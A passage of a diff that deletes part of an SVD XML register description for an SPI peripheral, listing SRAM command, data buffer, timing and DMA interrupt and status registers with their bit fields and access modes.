-              <description>For SPI0 SRAM DIO mode enable .  SRAM DIO enable command will be send when the bit is set. The bit will be cleared once the operation done.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SRAM_QIO</name>
-              <description>For SPI0 SRAM QIO mode enable .  SRAM QIO enable command will be send when the bit is set. The bit will be cleared once the operation done.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SRAM_RSTIO</name>
-              <description>For SPI0 SRAM IO mode reset enable. SRAM IO mode reset operation will be triggered when the bit is set. The bit will be cleared once the operation done</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SRAM_DRD_CMD</name>
-          <addressOffset>0x5C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CACHE_SRAM_USR_RD_CMD_VALUE</name>
-              <description>For SPI0 When cache mode is enable it is the read command value of command phase for SRAM.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CACHE_SRAM_USR_RD_CMD_BITLEN</name>
-              <description>For SPI0 When cache mode is enable it is the length in bits of command phase for SRAM. The register value shall be (bit_num-1).</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SRAM_DWR_CMD</name>
-          <addressOffset>0x60</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CACHE_SRAM_USR_WR_CMD_VALUE</name>
-              <description>For SPI0 When cache mode is enable it is the write command value of command phase for SRAM.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CACHE_SRAM_USR_WR_CMD_BITLEN</name>
-              <description>For SPI0 When cache mode is enable it is the in bits of command phase  for SRAM. The register value shall be (bit_num-1).</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SLV_RD_BIT</name>
-          <addressOffset>0x64</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLV_RDATA_BIT</name>
-              <description>In the slave mode it is the bit length of read data. The value is the length - 1.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>24</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>W0</name>
-          <addressOffset>0x80</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BUF0</name>
-              <description>data buffer</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>W1</name>
-          <addressOffset>0x84</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BUF1</name>
-              <description>data buffer</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>W2</name>
-          <addressOffset>0x88</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BUF2</name>
-              <description>data buffer</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>W3</name>
-          <addressOffset>0x8C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BUF3</name>
-              <description>data buffer</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>W4</name>
-          <addressOffset>0x90</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BUF4</name>
-              <description>data buffer</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>W5</name>
-          <addressOffset>0x94</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BUF5</name>
-              <description>data buffer</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>W6</name>
-          <addressOffset>0x98</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BUF6</name>
-              <description>data buffer</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>W7</name>
-          <addressOffset>0x9C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BUF7</name>
-              <description>data buffer</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>W8</name>
-          <addressOffset>0xA0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BUF8</name>
-              <description>data buffer</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>W9</name>
-          <addressOffset>0xA4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BUF9</name>
-              <description>data buffer</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>W10</name>
-          <addressOffset>0xA8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BUF10</name>
-              <description>data buffer</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>W11</name>
-          <addressOffset>0xAC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BUF11</name>
-              <description>data buffer</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>W12</name>
-          <addressOffset>0xB0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BUF12</name>
-              <description>data buffer</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>W13</name>
-          <addressOffset>0xB4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BUF13</name>
-              <description>data buffer</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>W14</name>
-          <addressOffset>0xB8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BUF14</name>
-              <description>data buffer</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>W15</name>
-          <addressOffset>0xBC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BUF15</name>
-              <description>data buffer</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TX_CRC</name>
-          <addressOffset>0xC0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DATA</name>
-              <description>For SPI1  the value of crc32 for 256 bits data.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>EXT0</name>
-          <addressOffset>0xF0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x800A0050</resetValue>
-          <fields>
-            <field>
-              <name>T_PP_TIME</name>
-              <description>page program delay time  by system clock.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>T_PP_SHIFT</name>
-              <description>page program delay time shift .</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>T_PP_ENA</name>
-              <description>page program delay enable.</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>EXT1</name>
-          <addressOffset>0xF4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x800F0000</resetValue>
-          <fields>
-            <field>
-              <name>T_ERASE_TIME</name>
-              <description>erase flash delay time by system clock.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>T_ERASE_SHIFT</name>
-              <description>erase flash delay time shift.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>T_ERASE_ENA</name>
-              <description>erase flash delay enable.</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>EXT2</name>
-          <addressOffset>0xF8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>ST</name>
-              <description>The status of spi state machine .</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>EXT3</name>
-          <addressOffset>0xFC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>INT_HOLD_ENA</name>
-              <description>This register is for two SPI masters to share the same cs clock and data signals. The bits of one SPI are set  if the other SPI is busy  the SPI will be hold. 1(3): hold at ¡°idle¡± phase 2: hold at ¡°prepare¡± phase.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMA_CONF</name>
-          <addressOffset>0x100</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000200</resetValue>
-          <fields>
-            <field>
-              <name>IN_RST</name>
-              <description>The bit is used to reset in dma fsm and in data fifo pointer.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_RST</name>
-              <description>The bit is used to reset out dma fsm and out data fifo pointer.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>AHBM_FIFO_RST</name>
-              <description>reset spi dma ahb master fifo pointer.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>AHBM_RST</name>
-              <description>reset spi dma ahb master.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IN_LOOP_TEST</name>
-              <description>Set bit to test in link.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_LOOP_TEST</name>
-              <description>Set bit to test out link.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_AUTO_WRBACK</name>
-              <description>when the link is empty   jump to next automatically.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_EOF_MODE</name>
-              <description>out eof flag generation mode . 1: when dma pop all data from fifo  0:when ahb push all data to fifo.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUTDSCR_BURST_EN</name>
-              <description>read descriptor use burst mode when read data for memory.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INDSCR_BURST_EN</name>
-              <description>read descriptor use burst mode when write data to memory.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_DATA_BURST_EN</name>
-              <description>spi dma read data from memory in burst mode.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DMA_RX_STOP</name>
-              <description>spi dma read data stop  when in continue tx/rx mode.</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DMA_TX_STOP</name>
-              <description>spi dma write data stop when in continue tx/rx mode.</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DMA_CONTINUE</name>
-              <description>spi dma continue tx/rx data.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMA_OUT_LINK</name>
-          <addressOffset>0x104</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>OUTLINK_ADDR</name>
-              <description>The address of the first outlink descriptor.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUTLINK_STOP</name>
-              <description>Set the bit to stop to use outlink descriptor.</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUTLINK_START</name>
-              <description>Set the bit to start to use outlink descriptor.</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUTLINK_RESTART</name>
-              <description>Set the bit to mount on new outlink descriptors.</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMA_IN_LINK</name>
-          <addressOffset>0x108</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>INLINK_ADDR</name>
-              <description>The address of the first inlink descriptor.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INLINK_AUTO_RET</name>
-              <description>when the bit is set  inlink descriptor returns to the next descriptor while a packet is wrong</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INLINK_STOP</name>
-              <description>Set the bit to stop to use inlink descriptor.</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INLINK_START</name>
-              <description>Set the bit to start to use inlink descriptor.</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INLINK_RESTART</name>
-              <description>Set the bit to mount on new inlink descriptors.</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMA_STATUS</name>
-          <addressOffset>0x10C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DMA_RX_EN</name>
-              <description>spi dma read data status bit.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DMA_TX_EN</name>
-              <description>spi dma write data status bit.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMA_INT_ENA</name>
-          <addressOffset>0x110</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>INLINK_DSCR_EMPTY_INT_ENA</name>
-              <description>The enable bit for lack of enough inlink descriptors.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUTLINK_DSCR_ERROR_INT_ENA</name>
-              <description>The enable bit for outlink descriptor error.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INLINK_DSCR_ERROR_INT_ENA</name>
-              <description>The enable bit for inlink descriptor error.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IN_DONE_INT_ENA</name>
-              <description>The enable bit for completing usage of a inlink descriptor.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IN_ERR_EOF_INT_ENA</name>
-              <description>The enable bit for receiving error.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IN_SUC_EOF_INT_ENA</name>
-              <description>The enable bit for completing receiving all the packets from host.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_DONE_INT_ENA</name>
-              <description>The enable bit for completing usage of a outlink descriptor .</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_EOF_INT_ENA</name>
-              <description>The enable bit for sending a packet to host done.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_TOTAL_EOF_INT_ENA</name>
-              <description>The enable bit for sending all the packets to host done.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMA_INT_RAW</name>
-          <addressOffset>0x114</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>INLINK_DSCR_EMPTY_INT_RAW</name>
-              <description>The raw bit for lack of enough inlink descriptors.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OUTLINK_DSCR_ERROR_INT_RAW</name>
-              <description>The raw bit for outlink descriptor error.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>INLINK_DSCR_ERROR_INT_RAW</name>
-              <description>The raw bit for inlink descriptor error.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>IN_DONE_INT_RAW</name>
-              <description>The raw bit for completing usage of a inlink descriptor.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>IN_ERR_EOF_INT_RAW</name>
-              <description>The raw bit for receiving error.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>IN_SUC_EOF_INT_RAW</name>
-              <description>The raw bit for completing receiving all the packets from host.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OUT_DONE_INT_RAW</name>
-              <description>The raw bit for completing usage of a outlink descriptor.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OUT_EOF_INT_RAW</name>
-              <description>The raw bit for sending a packet to host done.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OUT_TOTAL_EOF_INT_RAW</name>
-              <description>The raw bit for sending all the packets to host done.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMA_INT_ST</name>
-          <addressOffset>0x118</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>INLINK_DSCR_EMPTY_INT_ST</name>
-              <description>The status bit for lack of enough inlink descriptors.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OUTLINK_DSCR_ERROR_INT_ST</name>
-              <description>The status bit for outlink descriptor error.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>INLINK_DSCR_ERROR_INT_ST</name>
-              <description>The status bit for inlink descriptor error.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>IN_DONE_INT_ST</name>
-              <description>The status bit for completing usage of a inlink descriptor.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>IN_ERR_EOF_INT_ST</name>
-              <description>The status bit for receiving error.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>IN_SUC_EOF_INT_ST</name>
-              <description>The status bit for completing receiving all the packets from host.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OUT_DONE_INT_ST</name>
-              <description>The status bit for completing usage of a outlink descriptor.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OUT_EOF_INT_ST</name>
-              <description>The status bit for sending a packet to host done.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OUT_TOTAL_EOF_INT_ST</name>
-              <description>The status bit for sending all the packets to host done.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMA_INT_CLR</name>
-          <addressOffset>0x11C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>INLINK_DSCR_EMPTY_INT_CLR</name>
-              <description>The clear bit for lack of enough inlink descriptors.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUTLINK_DSCR_ERROR_INT_CLR</name>
-              <description>The clear bit for outlink descriptor error.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INLINK_DSCR_ERROR_INT_CLR</name>
-              <description>The clear bit for inlink descriptor error.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IN_DONE_INT_CLR</name>
-              <description>The clear bit for completing usage of a inlink descriptor.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IN_ERR_EOF_INT_CLR</name>
-              <description>The clear bit for receiving error.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IN_SUC_EOF_INT_CLR</name>
-              <description>The clear bit for completing receiving all the packets from host.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_DONE_INT_CLR</name>
-              <description>The clear bit for completing usage of a outlink descriptor.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_EOF_INT_CLR</name>
-              <description>The clear bit for sending a packet to host done.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_TOTAL_EOF_INT_CLR</name>
-              <description>The clear bit for sending all the packets to host done.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IN_ERR_EOF_DES_ADDR</name>
-          <addressOffset>0x120</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DMA_IN_ERR_EOF_DES_ADDR</name>
-              <description>The inlink descriptor address when spi dma produce receiving error.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IN_SUC_EOF_DES_ADDR</name>
-          <addressOffset>0x124</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DMA_IN_SUC_EOF_DES_ADDR</name>
-              <description>The last inlink descriptor address when spi dma produce from_suc_eof.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INLINK_DSCR</name>
-          <addressOffset>0x128</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DMA_INLINK_DSCR</name>
-              <description>The content of current in descriptor pointer.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INLINK_DSCR_BF0</name>
-          <addressOffset>0x12C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DMA_INLINK_DSCR_BF0</name>
-              <description>The content of next in descriptor pointer.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INLINK_DSCR_BF1</name>
-          <addressOffset>0x130</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DMA_INLINK_DSCR_BF1</name>
-              <description>The content of current in descriptor data buffer pointer.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>OUT_EOF_BFR_DES_ADDR</name>
-          <addressOffset>0x134</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DMA_OUT_EOF_BFR_DES_ADDR</name>
-              <description>The address of buffer relative to the outlink descriptor that produce eof.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>OUT_EOF_DES_ADDR</name>
-          <addressOffset>0x138</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DMA_OUT_EOF_DES_ADDR</name>
-              <description>The last outlink descriptor address when spi dma produce to_eof.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>OUTLINK_DSCR</name>
-          <addressOffset>0x13C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DMA_OUTLINK_DSCR</name>
-              <description>The content of current out descriptor pointer.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>OUTLINK_DSCR_BF0</name>
-          <addressOffset>0x140</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DMA_OUTLINK_DSCR_BF0</name>
-              <description>The content of next out descriptor pointer.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>OUTLINK_DSCR_BF1</name>
-          <addressOffset>0x144</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DMA_OUTLINK_DSCR_BF1</name>
-              <description>The content of current out descriptor data buffer pointer.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMA_RSTATUS</name>
-          <addressOffset>0x148</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DMA_OUT_STATUS</name>
-              <description>spi dma read data from memory status.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMA_TSTATUS</name>
-          <addressOffset>0x14C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DMA_IN_STATUS</name>
-              <description>spi dma write data to memory status.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATE</name>
-          <addressOffset>0x3FC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x01604270</resetValue>
-          <fields>
-            <field>
-              <name>DATE</name>
-              <description>SPI register version.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>28</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral derivedFrom="SPI0">
